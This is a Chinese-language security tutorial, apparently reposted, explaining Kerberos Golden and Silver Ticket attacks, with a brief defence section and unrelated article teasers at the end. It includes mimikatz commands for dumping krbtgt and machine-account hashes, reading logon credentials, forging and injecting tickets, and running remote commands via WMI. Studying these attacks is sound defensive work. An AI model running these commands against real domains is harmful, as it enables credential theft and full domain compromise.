黄金票据与白银票据学习

黄金票据与白银票据学习

前言

票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法。PtT最常见的用途可能是使用黄金票据白银票据,通过PtT访问主机相当简单。

对于kerberos协议的学习可以参考:

  • http://www.bilibili.com/video/av866898346
  • http://www.cnblogs.com/z2n3/p/17165627.html
概念

我们首先需要学习关于kerberos认证

  • KDC(Key Distribution Center): 密钥分发中心,里面包含两个服务:AS和TGS
  • AS(Authentication Server): 身份认证服务
  • TGS(Ticket Granting Server): 票据授予服务
  • TGT(Ticket Granting Ticket): 由身份认证服务授予的票据,用于身份认证,存储在内存,默认有效期为10小时
  • Pass The Ticket: 如果我们能够拿到用户的TGT,并将其导入到内存,就可以冒充该用户获得其访问权限

(金票)GoldenTicket

简介

Golden Ticket(下面称为金票)是通过伪造的TGT(TicketGranting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。

每个用户的Ticket都是由krbtgt的密码Hash来生成的,那么,我们如果拿到了krbtgt的密码Hash,其实就可以伪造任意用户的TICKET,

对于攻击者来说,实际上只要拿到了域控权限,就可以直接导出krbtgt的Hash值,,再通过mimikatz即可生成任意用户任何权限的Ticket,也就是Golden Ticket。

Alt text

黄金票据特点
  • 域控制器中的KDC服务不验证TGT中的用户帐户,直到TGT超过20分钟,这意味着攻击者可以使用禁用和删除的帐户,甚至是在Active Directory中不存在的虚拟帐户。
  • 由于在域控制器上由KDC服务生成的域设置了Kerberos策略,如果提供票据,则系统信任票据的有效性。这意味着,即使域策略声明Kerberos登录票据(TGT)只有10小时有效,如果票据声明有效期为10 年,那么也会信任票据的有效性期为10年。
  • 该KRBTGT帐户密码从不更改*和直到KRBTGT密码被更改(两次),攻击者可以创建黄金票据。请注意,即使伪造用户更改其密码,创建用于模拟用户的Golden Ticket仍然存在。
  • 它绕过了SmartCard身份验证要求,因为它绕过了DC在创建TGT之前执行的常规验证。
  • .这个精心创建的TGT要求攻击者拥有Active Directory域的KRBTGT密码哈希值(通常从域控制器转储)。
  • KRBTGT NTLM哈希可用于生成一个有效的TGT(使用RC4)模拟任何用户访问Active Directory中的任何资源。
  • 在主机上都可以生成和使用黄金票据(TGT),即使没有加入域也是如此。只要网络可以访问域。
  • 用于从AD森林中的DC获取有效的TGS票据,并提供一个坚持在一切域访问所有的主机的好办法。
制作金票的条件:
1、域名称            
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的

实战中,通常使用Mimikatz来提取krbtgt的NTLM-Hash。

1.获取域名称

net view /domain

2.Mimikatz获取krbtgt的HTLM-Hash及域SID

krbtgt用户只有在域控中才会存在。
当然了如果你有域控管理员的其他账号,也是可以登录其他域其他机器来使用mimikatz.exe导出hash的。

whoami /user 也可以获取域sid

mimikatz "lsadump::dcsync /domain:god.org /user:krbtgt"

image-20230407142659410

3..Mimikatz生成黄金票据

mimikatz "kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /user:test123 /ticket:testgolden.kirbi"

利用步骤:

1.导出krbtgt的Hash

金票的生成需要用到krbtgt的密码HASH值,可以通过mimikatz中的

lsadump::dcsync /OWA2010SP3.0day.org /user:krbtgt

命令获取krbtgt的值。

2.生成Golden Ticket

得到KRBTGT HASH之后使用mimikatz中的kerberos::golden功能生成金票golden.kiribi,即为伪造成功的TGT。

参数说明:

/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称
kerberos::golden /admin:wahaha /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089      /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:golden.kiribi

image-20230407143210165

3. 导入伪造Golden Ticket获得域控权限

通过mimikatz中的kerberos::ptt功能(Pass The Ticket)将golden.kiribi导入内存中。

kerberos::purge
kerberos::ppt golden.kiribi
kerberos::list

此时就可以通过dir成功访问域控的共享文件夹

dir \\OWA\c$

TIPS:

生成Golden Ticket不仅可以使用aes256,也可用krbtgt的NTLM hash
可以用mimikatz “lsadump::lsa /patch”导出:

注意
  • 这种方式导入的Ticket默认在20分钟以内生效,如果过期了,再次ptt导入Golden Ticket即可。
  • 可以伪造任意用户,即使其不存在。
  • krbtgt的NTLM hash不会轻易改变,即使修改域控管理员密码。

黄金票据防御

  • 限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录到这些服务器)将所有其他权限委派给自定义管理员组。这大大降低了攻击者访问域控制器的Active Directory的ntds.dit。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码。
  • 禁用KRBTGT帐户,并保存当前的密码以及以前的密码。KRBTGT密码哈希用于在Kerberos票据上签署PAC并对TGT(身份验证票据)进行加密。如果使用不同的密钥(密码)对证书进行签名和加密,则DC(KDC)通过检查KRBTGT以前的密码来验证。

(银票)SilverTickets

简介

Silver Tickets(下面称银票)就是伪造的ST(Service Ticket),因为在TGT已经在PAC里限定了给Client授权的服务(通过SID的值),所以银票只能访问指定服务。

正确的认证流程:

Alt text

使用了Silver Ticke的认证流程:

Alt text

白银票据的特点
  • .白银票据是一个有效的票据授予服务(TGS)Kerberos票据,因为Kerberos验证服务运行的每台服务器都对服务主体名称的服务帐户进行加密和签名。
  • 黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务。
  • 大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证),因此使用服务帐户密码哈希生成的有效TGS可以完全伪造PAC
  • 攻击者需要服务帐户密码哈希值
  • TGS是伪造的,所以没有和TGT通信,意味着DC从验证过。
  • 任何事件日志都在目标服务器上。

制作银票的条件:

1.域名称
2.域的SID值
3.域中的Server服务器账户的NTLM-Hash
4.伪造的用户名,可以是任意用户名.
5.目标服务器上面的kerberos服务

白银票据的服务列表

服务名称                    同时需要的服务
WMI                        HOST、RPCSS
PowerShell Remoting        HOST、HTTP
WinRM                    HOST、HTTP
Scheduled Tasks            HOST
Windows File Share        CIFS
LDAP                    LDAP
Windows Remote Server    RPCSS、LDAP、CIFS

利用过程

1.获取hash sid等信息

首先我们需要知道服务账户的密码HASH,这里同样拿域控来举例,通过mimikatz查看当前域账号administrator的HASH值。注意,这里使用的不是Administrator账号的HASH,而是OWA2010SP3$的HASH。

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt
sekurlsa::logonpasswords
2.伪造白银票据

这时得到了OWA2010SP3$的HASH值,通过mimikatz生成银票。

参数说明:

/domain:当前域名称
/sid:SID值,和金票一样取前面一部分
/target:目标主机,这里是OWA2010SP3.0day.org
/service:服务名称,这里需要访问共享文件,所以是cifs
/rc4:目标主机的HASH值
/user:伪造的用户名
/ptt:表示的是Pass TheTicket攻击,是把生成的票据导入内存,也可以使用/ticket导出之后再使用kerberos::ptt来导入
kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3.0day.org /service:cifs /rc4:125445ed1d553393cce9585e64e3fa07 /user:silver /ptt

各种服务中的示例

Service Type Service Silver Tickets
WMI HOST RPCSS
PowerShell Remoting HOST HTTP
WinRM HOST HTTP
Scheduled Tasks HOST
Windows File Share (CIFS) CIFS
LDAP operations includingMimikatz DCSync LDAP
Windows Remote Server Administration Tools RPCSS LDAP CIFS
Windows共享(CIFS)管理访问的银票

为 “cifs ”服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限。

注入CIFS Silver Ticket后,我们现在可以访问目标计算机上的任何共享,包括

c $共享,我们能够将文件拷贝到共享文件中。

具有管理员权限的Windows计算机(HOST)白银票据

创建银票以获得目标计算机上所涵盖的任何Windows服务的管理员权限。这包括修改和创建计划任务的权限。

Silver Ticket连接到以Windows管理员权限计算机上的PowerShell远程执行

为“ http ”服务和“ wsman ”服务创建Silver Ticket,以获得目标系统上的WinRM和或PowerShell Remoting的管理权限。

注入两张HTTP&WSMAN白银票据后,我们可以使用PowerShell远程(或WinRM的)反弹出目标系统shell。首先New-PSSession使用PowerShell创建到远程系统的会话的PowerShell cmdlet,然后Enter-PSSession打开远程shell。

白银票据证连接到具有管理员权限Windows计算机上的LDAP

为“ldap”服务创建Silver Ticket 以获得目标系统(包括Active Directory)上LDAP服务的管理权限。

利用LDAP Silver Ticket,我们可以远程访问LDAP服务来获得krbtgt的信息

注:

lsadump::dcsync

向 DC 发起一个同步对象(可获取帐户的密码信息)的质询。需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户,只读域控制器默认不允许读取用户密码数据。

白银票据证连接到具有管理员权限Windows计算机上的WMI

为“ HOST ”服务和“ rpcss ”服务创建白银票据以使用WMI在目标系统上远程执行命令。

注入这些白银票据之后,我们可以通过运行“klist”来确认Kerberos TGS票据在内存中注入白银票据后,我们可以通过“传票”来调用WMIC或Invoke-WmiMethod在目标系统上运行命令。

Invoke-WmiMethod win32_process -ComputerName $ Computer -Credential $ Creds -name create -argumentlist“$ RunCommand”
访问域控上“cifs”服务实列

首先需要获得如下信息:

domain
/sid
/target:目标服务器的域名全称,此处为域控的全称
/service:目标服务器上面的kerberos服务,此处为cifs
/rc4:计算机账户的NTLM hash,域控主机的计算机账户
/user:要伪造的用户名,此处可用silver测试

使用mimikatz执行如下命令导入Silver Ticket

mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt"

此时可以成功访问域控上的文件共享

关于黄金票据和白银票据的一些区别:

1.访问权限不同
  • Golden Ticket: 伪造TGT,可以获取任何Kerberos服务权限
  • Silver Ticket: 伪造TGS,只能访问指定的服务

2.加密方式不同

  • Golden Ticket 由Kerberos的Hash—> krbtgt加密
  • Silver Ticket 由服务器端密码的Hash值—> master key 加密
3.认证流程不同
  • Golden Ticket 的利用过程需要访问域控(KDC)
  • Silver Ticket 可以直接跳过 KDC 直接访问对应的服务器

参考连接:

  • http://shu1l.github.io/2020/06/06/qian-xi-huang-jin-piao-ju-yu-bai-yin-piao-ju/#1-%E5%AF%BC%E5%87%BAkrbtgt%E7%9A%84Hash
本文转载于网络 如有侵权请联系删除

相关文章

  • 凡科建站,PageAdmin,易极赞等自助建站系统的区别

    每个人都知道一个网站对于一个公司的网络营销和推广是非常重要的。现在越来越多的公司选择自己建网站。最大的优点是节省成本。没有网站建设的经验,你可以做一个强大的网站,甚至比专业的网站建设。公司网站比较专业,自助网站建设分为自助网站建设系统和在线自助网站建设平台。建站系统,通常需要用户购买服务器,并把应用程序部署到服务器上,需要用户有一定的计算机专业能力,比较有代表性的系统有PageAdmin、Discuz,wordpress建站SAAS平台,用户注册成为会员后,选择模板后就可以快速创建编辑网站了,服务器又saas平台运营商提供以及维护,比较有代表性的有凡科建站和「易极赞」,下面对在线建站平台和独立建站系统做一个对比。1.可操作性网站建设系统:由于网站建设系统的功能和可扩展性都很好,操作性比在线网站建设要麻烦一点,但对于熟悉电脑的用户来说,这些都是可以忽略的问题。在线网站建设:操作简单,这是在线网站建设最大的优点,因为功能简单单一,所以操作上没有难度,适合新手和菜鸟。2.搜索引擎优化优化网站建设系统:具有完善的seo功能,页面div+css结构,有利于搜索引擎的索引。优秀的网站系统自带标签和

  • 解决mac Apple M1 Goland无法使用debug

    导语关于Goland(mac苹果芯)无法使用debug功能,相信让很多人抓狂。如此常见的问题,网上应该一搜就有答案,然而,大多数人都尝试了n种方法,无法解决。本文记录下自己的最终解决方案,希望有所帮助。问题现象couldnotlaunchprocess:cannotrununderRosetta,checkthattheinstalledbuildofGoisrightforyourCPUarchitecture Debuggerfinishedwiththeexitcode1复制常见错误解法自行下载dlv包,编译安装,并配置goland属性。正确解法需下载macM1平台的goland包,重新安装。误区1:之前安装的包已经是选择了AppleSilicon,以为不会是该问题。但实际上,这个版本还是有问题。误区2:刚开始不想尝试重新安装的原因是,担心之前已经配置license失效,但这里,个人验证是不会的。误区3:如果尝试了之前错误的解法,配置了goland的Help>EditCustomProperties...,需要先删除,否则会干扰,还是无法启动debug。误区4:删除误区3的

  • 甘特图,看这篇就够了

    甘特图又称为横道图、条状图,它是以作业排序为目的,将活动与时间联系起来的最早尝试的工具之一,能够很直观地显示项目、进度等和时间的内在关系随着时间的进展情况,在管理和生产活动中被广泛使用。用来制作甘特图的专业工具也不少,常见的有:MicrosoftOfficeProject、GanttProject、WARCHARTXGantt、jQuery.Gantt、Excel等,网络上也有一些优质工具支持在线绘制甘特图。可是这种现成的工具,往往也存在一些弊端,让编程人员不知所措。比如说,花里胡哨的UI,让人目不暇接,不知点哪个才好:比如说,有些基于浏览器的图表需要掌握HTML、JS等编程语言,只会点Python的我直接被劝退:再比如,进来就是注册、登录、试用,等搞完了这波操作,时间、精力也耗费得差不多了:其实这种在线环境还有一个很大的弊端——安全性。我们永远也不知道用户的数据是去了开发者邮箱还是被短暂存储后销毁。相比之下,还是简简单单的代码来的醒目、直观、安全又便捷。而且,第二种方式,使得图表的自定义程度也更高,配色、组件尺寸等调整也往往更加方便。下面用一个例子来说明如何使用Python绘制甘特图

  • 编译Qt

    参考:Building-Qt5-from-GitWindows下自己准备自己想要的编译器。编译自己想要的Qt版本 最近5.6出来了,有好多新的变化,第一时间准备尝鲜。 我自己的是MSVC2015Qt5.6首先要准备:PerlGitpython如果要是编译webkit的话,还需要icu套件,这次为了熟悉流程先不编这个,因为Qt5.6已经把webkit移除了,换成了webengine,官网的文档还没有更新,暂时还没研究一定要先装Perl再装Git,以免用了老的Git,会导致脚本失败 而且安装Git的时候需要选择可以在cmd使用Git命令,不然就只能用Git自己带的那个命令行了 Qt的代码使用Git做版本管理,但是他的子库很多,每个模块都是单独的一个仓库,所以检出的时候为了避免麻烦则用Perl写成了脚本。为了方便的话,可以直接用VS的命令行,这样免了设置MSVC的环境了。 设置一些环境变量:SET_ROOT=C:\qt5 SETPATH=%_ROOT%\qtbase\bin;%_ROOT%\gnuwin32\bin;%PATH% SETQMAKESPEC=win32-msvc2015 SET

  • AD936x+ZYNQ搭建收音机(三)-终篇

    非官方板卡应用非官方板卡也需要在官方提供的历程上进行修改,这样节省时间,而且AD936X的IP也需要参考官方的IP。下载并编译Xilinxu-boot源码选用的U-boot的网站为https://github.com/Xilinx/u-boot-xlnx复制直接命令gitclonehttps://github.com/Xilinx/u-boot-xlnx复制这里有个点需要注意一下,xilinx官方的源码分为好多版本:上图界面点击Tags:可以看到很多版本,本人没有选择最新的版本,因为最新的版本编译有问题,官方也没有给出解决办法(主要我太菜),选择了V2018.3,利用gitclonehttps://github.com/Xilinx/u-boot-xlnx/tree/xilinx-v2018.3复制下载源码安装交叉编译环境‍‍‍‍‍‍‍‍ ‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍进入https://releases.linaro.org/components/toolchain/binaries/latest-5/arm-linux-gnueabi/复制网站:根据自己系统选择相应版本,本人下载的

  • R数据科学|第九章内容介绍

    使用dplyr处理关系数据在实际应用中,我们常会涉及到多个数据表,必须综合使用它们才能找到关键信息。存在于多个表中的这种数据统称为关系数据。本章中的很多概念都和SQL中的相似,只是在dplyr中的表达形式略微不同。一般来说,dplyr要比SQL更容易使用。处理关系数据有三类操作:合并连接:向数据框中加入新变量,新变量的值是另一个数据框中的匹配观测。筛选连接:根据是否匹配另一个数据框中的观测,筛选数据框中的观测。集合操作:将观测作为集合元素来处理。数据准备我们将使用nycflights13包来学习关系数据。nycflights13中包含了与flights相关的4个tibble:数据表信息airlines可以根据航空公司的缩写码查到公司全名。airports给出了每个机场的信息,通过faa机场编码进行标识。planes给出了每架飞机的信息,通过tailnum进行标识。weather给出了纽约机场每小时的天气状况。各数据表之间的关系如下:对于nycflights13包中的表来说: flights与planes通过单变量tailnum相连;flights与airlines通过变量carrier

  • PHP - 环境变量获取参数

    概述遇到一个需求,需要从PHP环境变量中取得参数加载到PHP文件中。具体内容〇说明fpm在每次启动时都会读取php-fpm.conf文件中的环境变量设置env[NAME]="value"复制读取系统环境变量env[NAME]=$NAME复制注意此种方式要确保系统环境变量存在,且不被sudo禁用。如果fpm是用sudo方式启动,默认sudo会禁用一些环境变量,可以通过以下方式放开限制vim/etc/sudoers Defaultsenv_reset Defaultsenv_keep="NAMEXXX"复制或者放开所有限制Defaults!env_reset复制最后,如果修改了php-fpm.conf中的设置需要重启fpm才能生效,同样php可以通过getenv函数或$_SERVER全局变量获得环境变量。一、配置php-fpm.conf(自定义)修改php-fpm.conf env[NAME]="name" 重启php添加获取代码 getenv('NAME')二、配置php-fpm.conf(系统)查看系统变量

  • ELK多租户方案

    一、前言日志分析是目前重要的系统调试和问题排查的重要手段之一,而目前分布式系统由于实例和机器众多,所以构建一套统一日志系统是非常必要的;ELK提供了一整套解决方案,并且都是开源软件,之间互相配合使用,完美衔接,高效的满足了很多场合的应用,是目前的主流选择之一。本文主要介绍如何实现一套ELK系统同时给「多套环境」、「多个系统」共同使用/测试,并实现相互之间的数据与视图相互「隔离」互不影响。二、隔离方式常见的ELK架构如下图所示,分别由Elasticsearch、Logstash、Kibana与FileBeat组成。分别在每个应用服务器里部署一个FileBeat组件作为日志收集器,通过输入插件从文件中获取数据,然后传输给Logstash将通过过滤插件加工并结构化处理日志数据后发送至Elasticsearch存储,最后通过Kibana进行可视化展示分析。「PS」:需要对上图中ELK的各个组件分别做「隔离」处理2.1.FileBeat隔离由于每台机器上都会部署一个Beat实例作为日志收集,所以FileBeat本身无需做任何隔离配置,但是作为数据的入口需要把所属「租户」相关的信息传递给下游,如下

  • Android开发必须掌握的网络知识

    最近从朋友同行了解到,目前面试都会问各种相关的知识,从集合到数据机构,从tcp到UDP,从native到js,从优化到架构,从安全到Linux,没有面试官问不到的,只有你想不到的,如果你还没有准备今天就先复习下网络相关的,文章主要知识点:网络模型,四次握手,IP报文,网络硬件介绍等。互联技术虽然作为程序员来讲不必过多的去了解网络互联的相关技术,但是目前互联网已经转向了物联网时代,从刚开始的软件+网络,成为今天的硬件+软件+网络的模式(即物联网) 智能家居,人工智能的实现模式也是典型的物联网产物。因此有网络基础对成为一个高级软件架构师有着无比轻重的作用,因此接下来几篇文章我会给大家复习下网络相关的知识,目前主流的互联技术包括小规模的主机互联(局域网)和大规模的主机互联(广域网)。主机互联一般基于的通信模式有一对一通信(双方)和多对多通信(多方)由以下两种通信方式。双方通信–双方信息打包后放到通信线路上发送,就能到达对方。 –在通信线路上只有两方,所收到的信息必然是对方发过来给我的。多方通信只将信息打包后就放到通信线路上去发送,那么就无法知道到是从哪儿发来的然后到底底是发给谁的信息。 因此

  • 买卖股票的最佳时机

    买卖股票的最佳时机I题目描述给定一个数组,它的第i个元素是一支给定股票第i天的价格。如果你最多只允许完成一笔交易(即买入和卖出一支股票),设计一个算法来计算你所能获取的最大利润。注意你不能在买入股票前卖出股票。示例1:输入:[7,1,5,3,6,4] 输出:5 解释:在第2天(股票价格=1)的时候买入,在第5天(股票价格=6)的时候卖出,最大利润=6-1=5。 注意利润不能是7-1=6,因为卖出价格需要大于买入价格。复制示例2:输入:[7,6,4,3,1] 输出:0 解释:在这种情况下,没有交易完成,所以最大利润为0。复制解答思路本题可以理解假设我在第N天买入,求计算以后几天的价格和第N天价格相差最多的一天。也就是说在第N天的时候,要做两个判断,1.price[n]是否为最低价,需要重新计算最低价2.计算当前的最大利润解题思路设置两个变量maxProfit:最大利润值,初始值为0minPrice:当前最低价格,初始值为Number.MAX_SAFE_INTEGER(任何一个值肯定都比这个初始值小)遍历prices里的每一个值求出minPrice和prices[i]两个中的最小值,赋值给

  • LeetCode 图解 | 237.删除链表中的节点

    下面开始今天的学习~今天分享的题目来源于LeetCode上第237号问题:删除链表中的节点。题目描述请编写一个函数,使其可以删除某个链表中给定的(非末尾)节点,你将只被给定要求被删除的节点。现有一个链表--head=[4,5,1,9],它可以表示为:示例1:输入:head=[4,5,1,9],node=5 输出:[4,1,9] 解释:给定你链表中值为5的第二个节点,那么在调用了你的函数之后,该链表应变为4->1->9. 复制示例2:输入:head=[4,5,1,9],node=1 输出:[4,5,9] 解释:给定你链表中值为1的第三个节点,那么在调用了你的函数之后,该链表应变为4->5->9. 复制说明:链表至少包含两个节点。链表中所有节点的值都是唯一的。给定的节点为非末尾节点并且一定是链表中的一个有效节点。不要从你的函数中返回任何结果。题目解析此题注意的点是没有给我们链表的起点,只给我们了一个要删的节点,与以往处理的情况稍许不同。之前删除一个节点的方法是要有其前一个节点的位置,然后将其前一个节点的next连向要删节点的下一个,然后delete掉要删的节点即可。

  • 腾讯优图李牧青: 我们的AI安防定位与战略

    “打造方案定义式算法”是腾讯优图的定位。无论芯片厂商还是服务器厂商,都需要给客户提供一整套解决方案,优图实验室要做的,就是提供这套方案里所缺少的模块。编辑|张瑞近日,由雷锋网&AI掘金志主办的「第二届中国人工智能安防峰会」在杭州召开。峰会现场,腾讯优图首席方案架构师、安防业务线负责人李牧青以《助力产业升级,打造方案定义式算法》为主题,阐述了腾讯优图实验室的安防定位,以及在这个定位下腾讯优图对安防的理解。这也是腾讯优图首次在AI安防行业论坛中亮相。李牧青谈到,智慧城市是将物理城市进行数字建模的过程,AI在智慧城市流程中起到的作用,就是从大规模的数据中寻找规律,并形成最终决策。但是,数据缺乏结构化的问题,让腾讯优图开始思索方案定义式算法这一方法论。在方案定义式算法上,腾讯优图主要着眼于两件事:一是与合作伙伴一起合作,以技术、研究团队的能力,共同改造方案,更多地服务客户;二是为方案提供相应的能力:腾讯拥有云、大数据、定制化的AI以及C端的触达能力,可以在方案中进行补充。李牧青说到,“我们和合作伙伴做方案,打造出模型,然后根据模型提供不同的算法需求,从这些算法需求逐步的积累出今天腾讯优

  • IBM开源Power芯片指令集,两大世界最强超算的芯片架构免费了!

    编辑:鹏飞 【新智元导读】通过收购RedHat大量注入开源精神,IBM终于迈出了下一步,开源其Power系列处理器的指令集架构。IBM还在推动OpenPowerFoundation,由Google,MellanoxTechnologies,Nvidia和Tyan组建,在Linux基金会的管理控制下,围绕Power架构创建了一个生态系统。能否和RISC-V抗衡呢?让我们拭目以待!开源,正在成为昔日巨头们重新夺回赛道的重要手段。曾经的蓝色巨人IBM也不例外。340亿美元RedHat后,而自从340亿美元RedHat后,IBM推出了其最新技术:OpenPOWER指令集。 这家百十来年老店,论年纪已经超过了历史上最重要的帝国之一:元朝,如今正在经历着老龄化带来的衰退期。IBM引以为傲的POWER架构芯片,在性能方面绝对称得上登峰造极。OpenPOWER家族中最新的POWER9CPU具有80亿个晶体管,最多达24个处理核心。目前最顶级的超算系统、美国能源部的Summit和Sierra超级计算机系统内采用的正是POWER9。但由于IBM过去太倚重ToB业务,倾向于卖服务给高端用户而忽视了C端市场,

  • 强化学习(十六) 深度确定性策略梯度(DDPG)

        在强化学习(十五)A3C中,我们讨论了使用多线程的方法来解决Actor-Critic难收敛的问题,今天我们不使用多线程,而是使用和DDQN类似的方法:即经验回放和双网络的方法来改进Actor-Critic难收敛的问题,这个算法就是是深度确定性策略梯度(DeepDeterministicPolicyGradient,以下简称DDPG)。    本篇主要参考了DDPG的论文和ICML2016的deepRLtutorial。1.从随机策略到确定性策略    从DDPG这个名字看,它是由D(Deep)+D(Deterministic )+PG(PolicyGradient)组成。PG(PolicyGradient)我们在强化学习(十三)策略梯度(PolicyGradient)里已经讨论过。那什么是确定性策略梯度(DeterministicPolicyGradient,以下简称DPG)呢?    确定性策略是和随机策略相对而言的,对于某一些动作集合来说,它可能是连续值,或者非常高维的离散值,这样动作的空间维度极大。如果我们使用随机策略,即像DQN一样研究它所有的可能动作的概率,并计算各个

  • 巨变!AI新纪元,互联网金融的生死大逃亡

    文\孟永辉霍金曾经说过,AI将最终导致人类的终结,研发出于人类智能能够相提并论甚至超越人类的智能机器对于人来来讲是一场前所未有的灾难。蒸蒸日上的人工智能科技在霍金眼中变成了一场威胁,这是人类现阶段不会承认的事情。尽管我们无法预知霍金的预言是否能够成真,但一场由人工智能所引发的全新革命正在如火如荼地上演着。作为一个与AI有着千丝万缕联系的行业,金融行业的发展将会因AI的出现更加绚丽多姿。以智能为主要标签的全新发展时代将会成为建构全新金融体系的关键因子,这个关键因子与金融行业所产生的化学反应将会把金融行业的发展带入到智能进化的新纪元。当我们被互联网金融的痛点和陷阱弄得焦头烂额的时候,以AI为代表的智能科技为我们打开了一扇窗。透过这扇窗,金融科技之光洒金略显暗淡的互联网金融时代,喷薄欲出的全新发展时代依然来临。1AI的智能与金融行业的需求似乎存在着某种天然互补的关系,正是由于这种互补关系的存在,AI才会与金融行业之间发生深度的化学反应,发散出耀眼的光芒,最终将整个幽暗的互联网金融时代照亮,从而将人们带入到金融科技发展的新阶段。互联网技术的去中间化所导致的一个最为直接的结果就是供需两端资源的拥

  • 免插件实现WordPress的Sitemap功能

    生成Sitemap的插件有很多,比较知名的有柳城的BaiduSitemap Generator和GoogleXMLSitemaps,感觉就为了生成个Sitmap多用插件有点点浪费,那就用代码实现吧~缺点在于此为动态页面,提交网站地图时不知道会不会有困难。新建一个sitemap.php至主题目录下,复制如下内容:<?php /** @packageWordPress TemplateName:站点地图 */ ?> <!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <htmlxmlns="http://www.w3.org/1999/xhtml"> <headprofile="http://gmpg.org/xfn/11"> <metahttp-equiv="Conten

  • 高端对话:移动互联网还有哪些机会?

    今天推荐2014年全球移动互联网大会(GMIC)上的一个高端对话。金山集团CEO张宏江、高通全球高级副总裁王翔、华为荣耀事业部总裁刘江峰以“移动互联新机会”为主题,进行了热烈讨论。精彩观点摘录:未来留给企业还有哪些机会?王翔:数据显示,2013年到2017年,全球将有超过70亿的移动终端,手机和其他家里可以看到的东西都能够实现互联,这里面所存在着巨大的机会,因为把70个亿终端连接起来,必将彻底的改变人们的生活。刘江峰:从制造商角度看,“下一个50亿”更多是在物联网和穿戴式设备,智能手机将变成一个真正的智能终端,真正变成每个用户个人的助手。大数据对移动互联网的发展有哪些促进?张宏江:大数据不再是未来的概念,现在我们已经生活在大数据中间了,互联网企业都在利用用户的数据来做一些非常关键的商业决定。以金山为例,游戏业务、安全业务已经享受到大数据带来的便捷,比如如何知道用户对于某个功能有最大的需求,我们可以通过后端非常强大的数据挖掘工具获得答案。大数据和移动互联网是密切相关的,大家每个人都有了移动设备和穿戴式设备以后,时时刻刻都在产生大量的数据,这样就可以充分了解用户需求,这其中大数据有三步进化

  • android 在 ListView 的 item 中插入 GridView 仿微信朋友圈图片显示。

    转载请声明出处(https://cloud.tencent.com/developer/user/1148436/activities)先上张效果图:1,思路简述    这个肯定是要重写baseAdapter的了,这里我分了两个数据适配器,一个是自定义的listView的item风格xml,另一个是该风格xml文件里面的嵌套的GridView数据适配。然后我们需要两个数据辅助类,类似上述,一个是专门来保存在GridView中要显示的每张图片的信息,例如它的url、name、id等等,暂称该辅助类为UserImgs,大家可以随便增删,另一个是总的专门保存listView中的item的数据,我们称它为UserInfo,这里,说明下,因为每条item都有一个自己的GridView,也就是说,UserInfo中必须要有一个UserImgs类实例,用来存储图片信息。然后,就是代码实现了。     使用例子放置最后。2,辅助类的代码   声明,这两个辅助类,是我根据自己项目所定义的,大家可以据己所需,自行修改,思路掌握了,修改很简单、很快!第一个,UserImgs1packagecn.share.

  • Git 本地分支 - 本地分支的新建与合并

    3.2Git本地分支-本地分支的新建与合并 本地分支的新建与合并 让我们来看一个简单的分支新建与分支合并的例子,实际工作中你可能会用到类似的工作流。你将经历如下步骤: 开发某个网站。 为实现某个新的用户需求,创建一个分支。 在这个分支上开展工作。 正在此时,你突然接到一个电话说有个很严重的问题需要紧急修补。你将按照如下方式来处理: 切换到你的线上分支(productionbranch)。 为这个紧急任务新建一个分支,并在其中修复它。 在测试通过之后,切换回线上分支,然后合并这个修补分支,最后将改动推送到线上分支。 切换回你最初工作的分支上,继续工作。 新建分支 首先,我们假设你正在你的项目上工作,并且在 master 分支上已经有了一些提交。 Figure18.一个简单提交历史 现在,你已经决定要解决你的公司使用的问题追踪系统中的#53问题。想要新建一个分支并同时切换到那个分支上,你可以运行一个带有 -b 参数的 gitcheckout 命令: $gitchec

  • D365升级包

    从LCS上下载升级包,尝试用命令AXUpdateInstaller.exedevInstall报错ThedevInstalloptionisnotapplicabletothecurrentdeployablepackage.从网上搜索找到了答案,在这里记录一下。把升级包里的如下路径的文件AOSService\Packages\files\dynamicsax-framework-bin.*.zip\BaseMetadataDeployablePackage.zip\DevInstallServiceModelData.xml拷贝到升级包的根目录,也就是AXUpdateInstaller.exe所在的目录。再升级就OK了。

  • 创业一年我进入了“养老”模式

       再过半年多月”创业“就一年了,特意加个引号是本来想着确实是创业的,可一年下来越来越发现其实老板(主要出资人也是CEO)只是把我当作一名员工而以,所以准确的说只是在很早期加入了一个创业公司,曾经的所谓的激励除了正常发工资以外别的似乎也不再提了。然而这些都不重要,最重要的是我们的业务没有起色,差不多半年前老板觉得我们这些人玩不转,于是我们的头上又增加了一些从大互联网公司挖过来的总监的人员,半年过去了似乎也还是玩不转。    这一年经历了太多,曾经幻想过的没想过的创业模式都在这里所有涉及了。但也有可能我们太过于理想了或者会不会太着急了(因为这是第一年)。想起了《后会无期》里的一段台词“听过许多道理却依然过不好这一生”,我们也是读过很多创业故事、在大大小小的公司呆过却在依然对创业束手无策。    曾经想着创业大家要用上牛X的电脑、牛X的系统,是的,我们有了,全系列的Apple产品:iMac、Macbookpro、AppleTV、AirPortExtreme、MacMini。全国办公室内部VOIP电话

相关推荐

推荐阅读